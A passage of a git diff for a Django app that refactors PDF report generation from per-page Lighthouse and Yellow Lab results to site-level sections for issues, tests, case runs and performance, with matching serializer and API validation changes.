+            .order_by("page_id", "-time_completed")
+        )
+
+        total_tests, pass_count, fail_count, incomplete_count = 0, 0, 0, 0
+        score_total, score_count = 0.0, 0
+        latest_by_page = {}
+
+        for test in tests_qs:
+            total_tests += 1
+            status_raw = (test.status or "").strip().lower()
+            if status_raw.startswith("pass"):
+                pass_count += 1
+            elif status_raw.startswith("fail"):
+                fail_count += 1
+            else:
+                incomplete_count += 1
+
+            if test.score is not None:
+                score_total += float(test.score)
+                score_count += 1
+
+            page_key = str(test.page_id) if test.page_id else f"__missing_{test.id}"
+            if page_key in latest_by_page:
+                continue
+            latest_by_page[page_key] = {
+                "page_url": test.page.page_url if test.page else "Unknown page",
+                "score": test.score,
+                "status": test.status or "unknown",
+                "time_completed": test.time_completed,
+            }
+
+        return {
+            "rollup": {
+                "total_tests": total_tests,
+                "pass_count": pass_count,
+                "fail_count": fail_count,
+                "incomplete_count": incomplete_count,
+                "avg_score": round(score_total / score_count, 2) if score_count else None,
+            },
+            "pages": sorted(latest_by_page.values(), key=lambda x: (x["page_url"] or "")),
+        }
 
-        Returns: None
-        """
 
-        # background and title
+    def _build_caseruns_data(self, window_start):
+        qs = CaseRun.objects.filter(site=self.site, time_created__gte=window_start).order_by("-time_created")
+        status_counts, latest_runs = {}, []
+        for run in qs:
+            status_key = (run.status or "unknown").strip().lower() or "unknown"
+            status_counts[status_key] = status_counts.get(status_key, 0) + 1
+            if len(latest_runs) < 10:
+                latest_runs.append({"title": run.title or "Untitled run", "status": run.status or "unknown", "time_created": run.time_created})
+        return {"count": qs.count(), "status_counts": status_counts, "latest_runs": latest_runs}
+
+
+    def _build_performance_data(self, window_start):
+        scans_qs = (
+            Scan.objects.filter(site=self.site, time_completed__isnull=False, time_completed__gte=window_start)
+            .select_related("page")
+            .order_by("page_id", "-time_completed")
+        )
+
+        latest_by_page, scores = {}, []
+        for scan in scans_qs:
+            page_key = str(scan.page_id) if scan.page_id else f"__missing_{scan.id}"
+            if page_key in latest_by_page:
+                continue
+            if scan.score is not None:
+                scores.append(float(scan.score))
+            latest_by_page[page_key] = {"page_url": scan.page.page_url if scan.page else "Unknown page", "health": scan.score, "time_completed": scan.time_completed}
+
+        return {
+            "pages": sorted(latest_by_page.values(), key=lambda x: (x["page_url"] or "")),
+            "rollup": {
+                "avg_health": round(sum(scores) / len(scores), 2) if scores else None,
+                "min_health": round(min(scores), 2) if scores else None,
+                "max_health": round(max(scores), 2) if scores else None,
+                "pages_with_data": len(scores),
+            },
+        }
+
+
+    def _build_datasets(self, selected_types, lookback_days):
+        now = timezone.now()
+        window_start = now - timedelta(days=lookback_days)
+        pages = list(Page.objects.filter(site=self.site).order_by("page_url"))
+
+        datasets = {}
+        if "issues" in selected_types:
+            datasets["issues"] = self._build_issues_data(window_start=window_start, now=now)
+        if "tests" in selected_types:
+            datasets["tests"] = self._build_tests_data(window_start=window_start)
+        if "caseruns" in selected_types:
+            datasets["caseruns"] = self._build_caseruns_data(window_start=window_start)
+        if "performance" in selected_types:
+            datasets["performance"] = self._build_performance_data(window_start=window_start)
+
+        return {
+            "generated_at": now,
+            "window_start": window_start,
+            "site": {"id": str(self.site.id), "site_url": self.site.site_url, "total_pages": len(pages)},
+            "datasets": datasets,
+        }
+
+
+    def _safe_score(self, value):
+        if value is None:
+            return "n/a"
+        try:
+            return f"{float(value):.2f}"
+        except Exception:
+            return str(value)
+
+
+    def _render_cover_page(self, selected_types, lookback_days, snapshot):
         self.setup_page()
-        
-        # creating dark triangle
-        p = self.c.beginPath()
-        p.moveTo(0*inch, 11*inch)
-        p.lineTo(7*inch, 11*inch)
-        p.lineTo(2.5*inch, 4.5*inch)
-        p.lineTo(0*inch, 7*inch)
-        self.c.setFillColor(HexColor('#00000026', hasAlpha=True))
-        self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True))
-        self.c.drawPath(p, fill=1)
-
-        # crating light triangle
-        p = self.c.beginPath()
-        p.moveTo(0*inch, 0*inch)
-        p.lineTo(0*inch, 7*inch)
-        p.lineTo(7*inch, 0*inch)
-        self.c.setFillColor(HexColor('#0000000D', hasAlpha=True))
-        self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True))
-        self.c.drawPath(p, fill=1)
-
-        # date
-        date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}'
-        self.c.setFont('Helvetica-Bold', 24)
-        self.c.setFillColor(HexColor(self.text_color))
-        self.c.drawString(.5*inch, 7.5*inch, date)
+        now = snapshot["generated_at"]
+        window_start = snapshot["window_start"]
+        date_range = f"{window_start.strftime('%b %d, %Y')} - {now.strftime('%b %d, %Y')}"
 
-        # title
-        self.c.setFont('Helvetica-Bold', 45)
         self.c.setFillColor(HexColor(self.text_color))
-        self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
-        
-        # page url
-        font_size = max((30 * (26/len(self.page.page_url))), 16)
-        self.c.setFont('Helvetica-Bold', font_size)
-        self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
-        
-        # cover img
-        cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
-        self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')
+        self.c.setFont(self.FONT_BOLD, 40)
+        self.c.drawString(0.5 * inch, 9.65 * inch, "Site Report")
+
+        self.c.setFont(self.FONT_BOLD, 18)
+        self.draw_wrapped_line(text=self.site.site_url or f"Site {self.site.id}", length=58, x_pos=0.5, y_pos=9.15, y_offset=0.3)
+
+        self.c.setFont(self.FONT_REGULAR, 10)
+        # self.c.drawString(0.5 * inch, 8.3 * inch, f"Generated: {now.strftime('%Y-%m-%d %H:%M %Z')}")
+        # self.c.drawString(0.5 * inch, 8.1 * inch, f"Report range: {date_range}")
+        # self.c.drawString(0.5 * inch, 7.9 * inch, f"Sections: {', '.join(selected_types)}")
+
+        self._draw_stat_card(0.5, 6.9, 2.35, 1.0, "Site Pages", str(snapshot["site"]["total_pages"]))
+        self._draw_stat_card(3.0, 6.9, 2.0, 1.0, "Sections", str(len(selected_types)))
+        self._draw_stat_card(5.15, 6.9, 2.85, 1.0, "Date Range", date_range, value_font_size=9)
+
+        section_items = [{"headline": s.title(), "meta": f"Included in this export ({lookback_days}d window)", "badge": "enabled", "badge_color": "#38B43F", "accent_color": "#4B79DB"} for s in selected_types]
+        self._draw_design_list(0.5, 6.5, 7.5, 0.5, "Included sections", section_items, max_rows=8)
         self.end_page()
-        return None
-        
 
 
-    
-    def get_score_data(self, score: float, is_binary: bool=False) -> dict:
-        """ 
-        Using the passed 'score', decide on 
-        which grade and color to return.
+    def _render_issues_section(self, data):
+        self.setup_page()
+        self.draw_page_title("Issues", "Open issues created in the selected lookback window")
+
+        records = data.get("records", [])
+        ages = [int(item.get("age_days") or 0) for item in records]
+        avg_age = round(sum(ages) / len(ages), 1) if ages else 0
+        max_age = max(ages) if ages else 0
+
+        buckets = {"0-1d": 0, "2-7d": 0, "8-30d": 0, "30+d": 0}
+        for age in ages:
+            if age <= 1:
+                buckets["0-1d"] += 1
+            elif age <= 7:
+                buckets["2-7d"] += 1
+            elif age <= 30:
+                buckets["8-30d"] += 1
+            else:
+                buckets["30+d"] += 1
+
+        self._draw_stat_card(0.5, 8.25, 2.45, 1.0, "Open Issues", str(data.get("count", 0)))
+        self._draw_stat_card(3.1, 8.25, 2.45, 1.0, "Avg Age", f"{avg_age}d")
+        self._draw_stat_card(5.7, 8.25, 2.3, 1.0, "Oldest", f"{max_age}d")
+
+        self._draw_bar_chart(0.5, 5.25, 3.9, 2.7, "Issue age buckets", list(buckets.keys()), [float(v) for v in buckets.values()])
+
+        items = []
+        for issue in records[:8]:
+            created_str = issue["created"].strftime("%Y-%m-%d") if issue.get("created") else "n/a"
+            age_days = int(issue.get("age_days", 0) or 0)
+            badge_color = "#38B43F" if age_days <= 1 else ("#E3A635" if age_days <= 7 else "#DB524B")
+            items.append({"headline": issue.get("title", "Untitled issue"), "meta": f"affected: {issue.get('affected', 'site')} | created: {created_str}", "badge": f"{age_days}d", "badge_color": badge_color, "accent_color": badge_color})
+
+        if not items:
+            items = [{"headline": "No open site issues were created during this lookback window.", "meta": "Everything in the selected window looks clean.", "badge": "ok", "badge_color": "#38B43F", "accent_color": "#38B43F"}]
+
+        self._draw_design_list(4.55, 7.95, 3.45, 0.5, "Recent open issues", items, max_rows=8)
+        self.end_page()
 
-        Args:
-            'score'     : float,
-            'is_binary' : bool
-        }
 
-        Returns: dict
-        """
+    def _render_tests_section(self, data):
+        self.setup_page()
+        self.draw_page_title("Tests", "Latest completed tests per page with site-level status mix")
 
-        # calc score if binary
-        score = float(score)
-        if is_binary:
-            score = score*100
+        rollup = data.get("rollup", {})
+        pages = data.get("pages", [])
 
-        # defining score types
-        score_types = {
-            "a": {
-                "grade": "A",
-                "color": "#38B43F",
-            },
-            "b": {
-                "grade": "B",
-                "color": "#82B436",
-            },
-            "c": {
-                "grade": "C",
-                "color": "#ACB43C",
-            },
-            "d": {
-                "grade": "D",
-                "color": "#B49836",
-            },
-            "e": {
-                "grade": "E",
-                "color": "#B46B34",
-            },
-            "f": {
-                "grade": "F",
-                "color": "#B43A29",
-            },
+        self._draw_stat_card(0.5, 8.25, 1.85, 1.0, "Total", str(rollup.get("total_tests", 0)))
+        self._draw_stat_card(2.45, 8.25, 1.85, 1.0, "Pass", str(rollup.get("pass_count", 0)))
+        self._draw_stat_card(4.4, 8.25, 1.85, 1.0, "Fail", str(rollup.get("fail_count", 0)))
+        self._draw_stat_card(6.35, 8.25, 1.65, 1.0, "Avg Score", self._safe_score(rollup.get("avg_score")))
 
-        }
+        self._draw_pie_chart(0.5, 5.15, 3.9, 2.9, "Status distribution", [("pass", rollup.get("pass_count", 0)), ("fail", rollup.get("fail_count", 0)), ("incomplete", rollup.get("incomplete_count", 0))])
 
-        # calculate grade
-        if score >= 80:
-            grade = score_types['a']
-        elif 80 > score >= 70:
-            grade = score_types['b']
-        elif 70 > score >= 50:
-            grade = score_types['c']
-        elif 50 > score >= 30:
-            grade = score_types['d']
-        elif 30 > score >= 0:
-            grade = score_types['e']
-        else:
-            grade = score_types['f']
-
-        # return
-        return grade
-
-
-
-
-    def get_cat_string(self, cat: str) -> str:
-        """ 
-        Returns the string coresponding to the passed 'cat'
-        """
-        
-        if cat == 'fonts':
-            string = 'Fonts'
-        elif cat == 'badCSS':
-            string = 'Bad CSS'
-        elif cat == 'jQuery':
-            string = 'jQuery'
-        elif cat == 'images':
-            string = 'Images'
-        elif cat == 'pageWeight':
-            string = 'Page Weight'
-        elif cat == 'serverConfig':
-            string = 'Server Config'
-        elif cat == 'badJavascript':
-            string = 'Bad JS'
-        elif cat == 'cssComplexity':
-            string = 'CSS Complexity'
-        elif cat == 'domComplexity':
-            string = 'DOM Complexity'
-        elif cat == 'javascriptComplexity':
-            string = 'JS Complexity'
-        elif cat == 'seo':
-            string = 'SEO'
-        elif cat == 'pwa':
-            string = 'PWA'
-        elif cat == 'crux':
-            string = 'CRUX'
-        elif cat == 'best_practices' or cat == 'best-practices':
-            string = 'Best Practices'
-        elif cat == 'performance':
-            string = 'Performance'
-        elif cat == 'accessibility':
-            string = 'Accessibility'
-
-        return string
-
-    
-    
-
-    def get_audits(self, uri: str=None) -> dict:
-        """
-        Downloads the JSON file from the passed uri
-        and return the data as a python dict
-        """
-        if uri:
-            res = requests.get(uri)
-            audits = res.json()
-            return audits
-        else:
-            return []
+        score_rows = [item for item in pages if item.get("score") is not None][:8]
+        labels = [item.get("page_url", "page") for item in score_rows]
+        values = [float(item.get("score") or 0) for item in score_rows]
+        self._draw_bar_chart(4.55, 5.15, 3.45, 2.9, "Per-page latest score", labels, values)
 
+        items = []
+        for item in pages[:7]:
+            completed = item["time_completed"].strftime("%Y-%m-%d") if item.get("time_completed") else "n/a"
+            status_label = str(item.get("status", "unknown")).lower()
+            badge_color = "#38B43F" if status_label.startswith("pass") else ("#DB524B" if status_label.startswith("fail") else "#E3A635")
+            items.append({"headline": item.get("page_url", "Unknown page"), "meta": f"score: {self._safe_score(item.get('score'))} | completed: {completed}", "badge": item.get("status", "unknown"), "badge_color": badge_color, "accent_color": badge_color})
 
+        if not items:
+            items = [{"headline": "No completed tests found in this lookback window.", "meta": "Run tests to populate this section.", "badge": "none", "badge_color": "#4B79DB", "accent_color": "#4B79DB"}]
 
+        self._draw_design_list(0.5, 4.8, 7.5, 0.5, "Per-page latest completed tests", items, max_rows=7)
+        self.end_page()
 
-    def create_data(self, data_type: str) -> None:
-        """ 
-        Paints the data for the passed 'data_type', 
-        either 'lighthouse' or 'yellowlab'.
-        
-        Args:
-            'data_type': str
-        }
 
-        Returns: None
-        """
-        
-        # add new page
+    def _render_caseruns_section(self, data):
         self.setup_page()
-        
-        # decide on which data type
-        if data_type == 'yellowlab':
-            data = self.scan.yellowlab
-            data['audits'] = self.get_audits(data['audits'])
-            page_title = 'Yellow Lab'
-            avg_score = 'globalScore'
-
-        if data_type == 'lighthouse':
-            data = self.scan.lighthouse
-            data['audits'] = self.get_audits(data['audits'])
-            page_title = 'Lighthouse'
-            avg_score = 'average'
-            
-        self.draw_page_title(page_title)
-        if data['scores'][avg_score] is None:
-            return False
-
-        # measurements
-        space = .25
-        text_space = .05
-        begin_y = 8
-        log_margin = 3.7
-        text_margin = .3
-        value_margin = 3
-        log_height = .2
-        log_width = 4
-        grade_tab_width = .07
-
-        c_count = 0
-        logs_count = 0
-        for cat in data['audits']:
-
-            # checking if cat is not null
-            if data['scores'][cat] is not None:
-
-                # creating global score
-                if c_count == 0:
-                    grade_obj = self.get_score_data((data['scores'][avg_score] or 0))
-                    self.c.setFillColor(HexColor(grade_obj['color'],))
-                    self.c.roundRect(
-                        2*inch, 
-                        8.7*inch, 
-                        1*inch, 
-                        1*inch,
-                        .17*inch, 
-                        stroke=0, 
-                        fill=1
-                    )
-                    self.c.setFillColor(HexColor(self.text_color))
-                    self.c.setFont('Helvetica', 30)
-                    self.c.drawCentredString(
-                        2.5*inch, 
-                        9.05*inch,
-                        grade_obj['grade']
-                    )
-                    self.c.setFont('Helvetica', 20)
-                    self.c.drawCentredString(
-                        5.5*inch, 
-                        8.9*inch,
-                        'Global Score'
-                    )
-                    self.c.setFont('Helvetica-Bold', 20)
-                    self.c.drawCentredString(
-                        5.5*inch, 
-                        9.25*inch,
-                        f'{data["scores"][avg_score]}/100'
-                    )
-
-                # creating new page at limit --> 20 items
-                if logs_count >= 20:
-                    self.end_page()
-                    logs_count = 0
-                    begin_y = 9
-                    self.setup_page()
-                    self.draw_page_title(f'{page_title} (continued)')
-
-                # creating space btw sections
-                if c_count > 0 and logs_count != 0:
-                    begin_y = (self.y - .2)
-
-                # creating individual grade cards
-                grade_obj = self.get_score_data((data['scores'][cat] or 0))
-                self.c.setFillColor(HexColor(grade_obj['color'],))
-                self.c.roundRect(
-                    .5*inch, 
-                    (begin_y - .25)*inch, 
-                    .5*inch, 
-                    .5*inch,
-                    .12*inch, 
-                    stroke=0, 
-                    fill=1
-                )
-                self.c.setFillColor(HexColor(self.text_color))
-                self.c.setFont('Helvetica', 16)
-                self.c.drawCentredString(
-                    .75*inch, 
-                    (begin_y - .07)*inch,
-                    grade_obj['grade']
-                )
-
-                self.c.setFont('Helvetica', 16)
-                cat_string = self.get_cat_string(cat)
-                self.c.drawCentredString(
-                    2.3*inch, 
-                    (begin_y - .07)*inch,
-                    cat_string
-                )
-
-                p_count = 0
-                for policy in data['audits'][cat]:
-
-                    if (begin_y - (space * p_count)) < 1:
-                        break
-
-                    # setting up keys for dict(s)
-                    if data_type == 'yellowlab':
-                        policy_text = policy["policy"]["label"]
-                        policy_value = policy["value"]
-                        binary = False
-                    if data_type == 'lighthouse':
-                        policy_text = policy["title"]
-                        policy_value = ''
-                        if "displayValue" in policy:
-                            if len(policy["displayValue"]) < 9:
-                                policy_value = policy["displayValue"]
-                        binary = True
-
-                    if len(policy_text) < 53:
-                        # creating log box
-                        self.c.setFont('Helvetica', 9)
-                        self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True))
-                        self.c.rect(
-                            log_margin*inch, 
-                            (begin_y - (space * p_count))*inch, 
-                            log_width*inch, log_height*inch, 
-                            stroke=0, 
-                            fill=1
-                        )
-                        
-                        # get grade tab
-                        grade_obj = self.get_score_data((policy['score'] or 0), is_binary=binary)
-                        self.c.setFillColor(HexColor(grade_obj['color'],)) 
-                        self.c.rect(
-                            log_margin*inch, 
-                            (begin_y - (space * p_count))*inch, 
-                            grade_tab_width*inch, 
-                            log_height*inch, 
-                            stroke=0, 
-                            fill=1
-                        )
-                        
-                        # inserting data
-                        self.c.setFillColor(HexColor(self.text_color))
-
-                        # text
-                        self.c.drawString(
-                            (log_margin + text_margin)*inch,
-                            ((begin_y - (space * p_count)) + text_space)*inch, 
-                            (f'{policy_text}')
-                        )
-                        
-                        # value
-                        self.c.drawString(
-                            (value_margin + text_margin + log_margin)*inch, 
-                            ((begin_y - (space * p_count)) + text_space)*inch, 
-                            (f'{policy_value}')
-                        )
-                        
-                        p_count += 1
-                        logs_count += 1
-                        self.y = (begin_y - (space * p_count))
-            
-            c_count += 1
-        
+        self.draw_page_title("Case Runs", "Case run activity and status distribution in lookback window")
+
+        status_counts = data.get("status_counts", {})
+        latest_runs = data.get("latest_runs", [])
+
+        self._draw_stat_card(0.5, 8.25, 2.45, 1.0, "Total Runs", str(data.get("count", 0)))
+        self._draw_stat_card(3.1, 8.25, 2.45, 1.0, "Statuses", str(len(status_counts.keys())))
+        self._draw_stat_card(5.7, 8.25, 2.3, 1.0, "Latest Rows", str(len(latest_runs)))
+
+        ordered_statuses = sorted(status_counts.items(), key=lambda i: i[1], reverse=True)
+        self._draw_pie_chart(0.5, 5.2, 3.9, 2.8, "Run statuses", [(k, v) for k, v in ordered_statuses])
+
+        labels = [item[0] for item in ordered_statuses[:8]]
+        values = [float(item[1]) for item in ordered_statuses[:8]]
+        self._draw_bar_chart(4.55, 5.2, 3.45, 2.8, "Status counts", labels, values)
+
+        items = []
+        for run in latest_runs[:7]:
+            created = run["time_created"].strftime("%Y-%m-%d %H:%M") if run.get("time_created") else "n/a"
+            status_label = str(run.get("status", "unknown")).lower()
+            badge_color = "#38B43F" if status_label in ["passed", "pass", "success", "complete"] else ("#DB524B" if status_label in ["failed", "fail", "error"] else "#E3A635")
+            items.append({"headline": run.get("title", "Untitled run"), "meta": f"created: {created}", "badge": run.get("status", "unknown"), "badge_color": badge_color, "accent_color": badge_color})
+
+        if not items:
+            items = [{"headline": "No case runs found in this lookback window.", "meta": "Run a case to populate this section.", "badge": "none", "badge_color": "#4B79DB", "accent_color": "#4B79DB"}]
+
+        self._draw_design_list(0.5, 4.8, 7.5, 0.5, "Latest runs", items, max_rows=7)
         self.end_page()
 
-        return None
 
+    def _render_performance_section(self, data):
+        self.setup_page()
+        self.draw_page_title("Performance", "Latest completed scan health scores per page")
 
+        rollup = data.get("rollup", {})
+        pages = data.get("pages", [])
 
+        self._draw_stat_card(0.5, 8.25, 1.85, 1.0, "Pages", str(rollup.get("pages_with_data", 0)))
+        self._draw_stat_card(2.45, 8.25, 1.85, 1.0, "Avg", self._safe_score(rollup.get("avg_health")))
+        self._draw_stat_card(4.4, 8.25, 1.85, 1.0, "Min", self._safe_score(rollup.get("min_health")))
+        self._draw_stat_card(6.35, 8.25, 1.65, 1.0, "Max", self._safe_score(rollup.get("max_health")))
 
+        scored_pages = [item for item in pages if item.get("health") is not None]
+        labels = [item.get("page_url", "page") for item in scored_pages[:10]]
+        values = [float(item.get("health") or 0) for item in scored_pages[:10]]
+        self._draw_bar_chart(0.5, 5.2, 7.5, 2.8, "Latest page health scores", labels, values)
 
-    def generate_report(self) -> dict:
-        """ 
-        Generates a new Report.
+        lowest = sorted(scored_pages, key=lambda x: float(x.get("health") or 0))[:7]
+        items = []
+        for item in lowest:
+            completed = item["time_completed"].strftime("%Y-%m-%d") if item.get("time_completed") else "n/a"
+            score = float(item.get("health") or 0)
+            badge_color = "#38B43F" if score >= 80 else ("#E3A635" if score >= 50 else "#DB524B")
+            items.append({"headline": item.get("page_url", "Unknown page"), "meta": f"completed: {completed}", "badge": self._safe_score(item.get("health")), "badge_color": badge_color, "accent_color": badge_color})
 
-        Returns:
-            'report' : object,
-            'success': bool,
-            'message': str
-        }
-        """
+        if not items:
+            items = [{"headline": "No completed scans found in this lookback window.", "meta": "Run scans to populate performance health rows.", "badge": "none", "badge_color": "#4B79DB", "accent_color": "#4B79DB"}]
 
-        # setting defaults
-        message = 'Scan Page first'
-        success = False
+        self._draw_design_list(0.5, 4.8, 7.5, 0.5, "Lowest health pages (attention)", items, max_rows=7)
+        self.end_page()
 
-        # generating if scan is available
-        if self.scan:
-            
-            # add title
-            self.cover_page()
-        
-            # build lighthouse data
-            if 'lighthouse' in self.report.type or 'full' in self.report.type:
-                self.create_data(data_type='lighthouse')
-
-            # build yellowlab data
-            if 'yellowlab' in self.report.type or 'full' in self.report.type:
-                self.create_data(data_type='yellowlab')
-            
-            # save report
-            self.publish_report()
-            message = 'Report Generated'
-            success = True
-        
-        # formating response
-        data = {
-            'report' : self.report,
-            'success': success,
-            'message': message
-        }
 
-        # returning response
-        return data
+    def _render_sections(self, selected_types, snapshot):
+        datasets = snapshot["datasets"]
+        for section_type in selected_types:
+            if section_type == "issues":
+                self._render_issues_section(datasets.get("issues", {"count": 0, "records": []}))
+            elif section_type == "tests":
+                self._render_tests_section(datasets.get("tests", {"rollup": {"total_tests": 0, "pass_count": 0, "fail_count": 0, "incomplete_count": 0, "avg_score": None}, "pages": []}))
+            elif section_type == "caseruns":
+                self._render_caseruns_section(datasets.get("caseruns", {"count": 0, "status_counts": {}, "latest_runs": []}))
+            elif section_type == "performance":
+                self._render_performance_section(datasets.get("performance", {"rollup": {"avg_health": None, "min_health": None, "max_health": None, "pages_with_data": 0}, "pages": []}))
+
 
+    def publish_report(self) -> None:
+        self.c.save()
+        remote_path = f"static/sites/{self.site.id}/reports/{self.report.id}.pdf"
+
+        with open(self.local_path, "rb") as data:
+            self.s3.upload_fileobj(
+                data,
+                str(settings.AWS_STORAGE_BUCKET_NAME),
+                remote_path,
+                ExtraArgs={"ACL": "public-read", "ContentType": "application/pdf"},
+            )
+
+        report_url = f"{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0"
+        self.report.path = report_url
+        self.report.save()
+        os.remove(self.local_path)
+
+
+    def generate_report(self) -> dict:
+        message = "Report generation failed"
+        success = False
+
+        site, site_error = self._resolve_site()
+        if site_error:
+            return {"report": self.report, "success": success, "message": site_error}
+
+        lookback_days, lookback_error = self._get_lookback_days()
+        if lookback_error:
+            return {"report": self.report, "success": success, "message": lookback_error}
+
+        selected_types, type_error = self._normalize_types()
+        if type_error:
+            return {"report": self.report, "success": success, "message": type_error}
+
+        snapshot = self._build_datasets(selected_types=selected_types, lookback_days=lookback_days)
+
+        info = self.report.info if isinstance(self.report.info, dict) else {}
+        info.update(
+            {
+                "text_color": self.text_color,
+                "highlight_color": self.highlight_color,
+                "background_color": self.background_color,
+                "lookback_days": lookback_days,
+                "types": selected_types,
+                "snapshot": {
+                    "generated_at": snapshot["generated_at"].isoformat(),
+                    "window_start": snapshot["window_start"].isoformat(),
+                    "site": snapshot["site"],
+                    "counts": {
+                        "issues": snapshot["datasets"].get("issues", {}).get("count", 0),
+                        "tests_pages": len(snapshot["datasets"].get("tests", {}).get("pages", [])),
+                        "tests_total": snapshot["datasets"].get("tests", {}).get("rollup", {}).get("total_tests", 0),
+                        "caseruns": snapshot["datasets"].get("caseruns", {}).get("count", 0),
+                        "performance_pages": len(snapshot["datasets"].get("performance", {}).get("pages", [])),
+                    },
+                },
+            }
+        )
 
-        
+        self.report.info = info
+        self.report.type = selected_types
 
+        self._render_cover_page(selected_types=selected_types, lookback_days=lookback_days, snapshot=snapshot)
+        self._render_sections(selected_types=selected_types, snapshot=snapshot)
 
+        self.publish_report()
+        message = "Report Generated"
+        success = True
 
-    
\ No newline at end of file
+        return {"report": self.report, "success": success, "message": message}
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index c24b9286..12505bcd 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -206,14 +206,13 @@ class Meta:
 
 class ReportSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
-    page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
         model = Report
-        fields = ['id', 'site', 'page', 'user', 'time_created', 'type',
+        fields = ['id', 'site', 'user', 'time_created', 'type',
         'path', 'info', 'account',
         ]
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2bac2933..a1586ffd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4661,25 +4661,59 @@ def create_or_update_report(request: object=None) -> object:
 
     # get request data
     report_id = request.data.get('report_id')
-    page_id = request.data.get('page_id')
-    report_type = request.data.get('type', ['lighthouse', 'yellowlab'])
+    site_id = request.data.get('site_id')
+    report_type = request.data.get('type')
+    lookback_days = request.data.get('lookback_days')
     text_color = request.data.get('text_color', '#24262d')
     background_color = request.data.get('background_color', '#e1effd')
     highlight_color = request.data.get('highlight_color', '#4283f8')
 
     # set defaults
     report = None
-    page = None
+    site = None
     
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
     account = member.account
 
-    id = report_id if report_id else page_id
-    id_type = 'report' if report_id else 'page'
+    id = report_id if report_id else site_id
+    id_type = 'report' if report_id else 'site'
     action = 'update' if report_id else 'add'
 
+    # validate create/update payload shape
+    valid_types = ['issues', 'tests', 'caseruns', 'performance']
+    if not report_id and not site_id:
+        data = {'reason': 'site_id is required when report_id is not provided'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+
+    if lookback_days is None:
+        data = {'reason': 'lookback_days is required and must be one of 1, 7, 30, 90'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+    try:
+        lookback_days = int(lookback_days)
+    except Exception:
+        data = {'reason': 'lookback_days must be one of 1, 7, 30, 90'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+    if lookback_days not in [1, 7, 30, 90]:
+        data = {'reason': 'lookback_days must be one of 1, 7, 30, 90'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+
+    if not isinstance(report_type, list) or len(report_type) == 0:
+        data = {'reason': 'type is required and must be a non-empty array'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+
+    report_type = list(dict.fromkeys([str(item).strip().lower() for item in report_type if str(item).strip()]))
+    if not all(item in valid_types for item in report_type):
+        data = {'reason': f'type must be a subset of {valid_types}'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+
     # checking account and resource 
     check_data = check_permissions_and_usage(
         member=member, resource='report', 
@@ -4690,26 +4724,43 @@ def create_or_update_report(request: object=None) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get page if checks passed
-    if page_id:    
-        page = Page.objects.get(id=page_id)
     # get report if checks passed
     if report_id:
         report = Report.objects.get(id=report_id)
+        if site_id:
+            if not Site.objects.filter(id=site_id, account=account).exists():
+                data = {'reason': 'site not found'}
+                record_api_call(request, data, '404')
+                return Response(data, status=status.HTTP_404_NOT_FOUND)
+            site = Site.objects.get(id=site_id)
+        else:
+            site = report.site
+    # get site if creating
+    if not report:
+        if not Site.objects.filter(id=site_id, account=account).exists():
+            data = {'reason': 'site not found'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        site = Site.objects.get(id=site_id)
 
     # build report info
     info = {
         "text_color": text_color,
         "background_color": background_color,
         "highlight_color": highlight_color,
+        "lookback_days": lookback_days,
+        "types": report_type,
     }
     
     # update report
     if report:
-        if info:
-            report.info = info
-        if report_type:
-            report.type = report_type
+        old_info = report.info if isinstance(report.info, dict) else {}
+        old_info.update(info)
+        report.info = old_info
+        report.type = report_type
+        if site:
+            report.site = site
+        report.page = None
         # save updates
         report.save()
         
@@ -4717,8 +4768,8 @@ def create_or_update_report(request: object=None) -> object:
     if not report:
         report = Report.objects.create(
             user=request.user, 
-            page=page, 
-            site=page.site, 
+            page=None,
+            site=site,
             account=account,
             info=info,
             type=report_type
@@ -4763,7 +4814,7 @@ def get_reports(request: object=None) -> object:
     """
 
     # get request data
-    page_id = request.query_params.get('page_id')
+    site_id = request.query_params.get('site_id')
     report_id = request.query_params.get('report_id')
     
     # get user and account
@@ -4771,13 +4822,13 @@ def get_reports(request: object=None) -> object:
     member = Member.objects.get(user=user)
     account = member.account
 
-    id = report_id if report_id else page_id
-    id_type = 'report' if report_id else 'page'
+    id = report_id if report_id else site_id
+    id_type = 'report' if report_id else 'site'
 
     # checking account and resource 
     check_data = check_permissions_and_usage(
         member=member, resource='report', 
-        action='add', id=id, id_type=id_type
+        action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error']}
@@ -4796,13 +4847,17 @@ def get_reports(request: object=None) -> object:
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    # get reports scoped to page if checks passed
-    if page_id:
-        page = Page.objects.get(id=page_id)
-        reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
